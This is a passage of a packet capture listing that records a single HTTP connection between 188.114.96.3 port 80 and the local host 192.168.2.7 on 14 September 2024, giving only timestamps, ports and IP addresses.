Sep 14, 2024 18:44:29.749289036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749305010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749305964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749320984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749336958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749336958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749353886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749371052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.749949932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749965906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749979973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749993086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.749994993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750006914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750009060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750035048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750049114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750051975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750065088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750080109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750082016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750097990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750113010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750122070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750127077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750142097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750149012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750158072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750173092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750178099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750188112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750204086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750220060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750221014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750236034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750236034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750252962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750267029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750269890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750282049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750297070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750299931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750313997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750330925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750332117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750346899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750365019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750745058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750761032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750777006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750792027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750802994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750807047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750809908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750823975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750838995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750853062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750858068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750880957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750891924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750906944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750921011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750926971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750943899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750952959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.750962973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750983000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.750998974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751005888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751015902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751030922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751038074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751046896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751064062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751069069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751080990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751096964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751101971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751112938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751128912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751135111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751144886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751158953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751164913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751174927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751199961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751748085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751765013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751779079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751790047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751795053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751811028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751816034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751827002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751842022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751844883 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751858950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751879930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751895905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751919031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751931906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751931906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751949072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751961946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751976967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.751977921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751991987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.751993895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752008915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752022982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752033949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752038956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752052069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752060890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752067089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752080917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752083063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752098083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752099991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752118111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752132893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752147913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752147913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752160072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752165079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752204895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752423048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752439022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752454042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752469063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752479076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752482891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752504110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752579927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752595901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752609968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752615929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752626896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752641916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752644062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752659082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752674103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752676010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752688885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752703905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752705097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752720118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752736092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752743006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752758980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752773046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752777100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752790928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752805948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752805948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752823114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752836943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752837896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752854109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752867937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752871037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752877951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752892017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752897024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752908945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752923965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752924919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752940893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752955914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752959013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.752973080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752988100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.752991915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753021002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753561020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753576994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753591061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753606081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753609896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753623009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753638983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753639936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753654957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753669977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753670931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753685951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753703117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753710032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753726006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753740072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753746033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753755093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753770113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753784895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753791094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753799915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753803968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753815889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753833055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753846884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753863096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753878117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753894091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753909111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753918886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753918886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753918886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753918886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753925085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753942013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753957033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753957987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753973007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.753988028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.753988981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754004002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754019976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754034996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754043102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754048109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754050970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754066944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754084110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754555941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754571915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754586935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754601002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754606009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754616976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754621983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754637957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754652023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754658937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754667997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754683971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754707098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754709005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754714012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754735947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754750967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754765987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754766941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754781961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754796982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754797935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754815102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754831076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754831076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754848957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754863024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754864931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754878998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754894018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754894972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754909039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754925013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754925966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754940987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754956007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754956961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.754971981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754987001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.754988909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755004883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755019903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755021095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755036116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755049944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755054951 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755065918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755079031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755100012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755116940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755495071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755510092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755532980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755548000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755562067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755573988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755573988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755578995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755595922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755599022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755613089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755621910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755625963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755639076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755642891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755659103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755665064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755665064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755675077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755691051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755697966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755709887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755719900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755727053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755740881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755743027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755758047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755763054 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755770922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755773067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755789042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755791903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755805969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755805969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.755822897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.755840063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756112099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756128073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756141901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756148100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756158113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756162882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756172895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756175041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756189108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756190062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756203890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756207943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756222963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756225109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756237984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756242037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756256104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756261110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756273985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756278038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756293058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756294966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.756309032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.756313086 CEST	54891	80	192.168.2.7	188.114.96.3
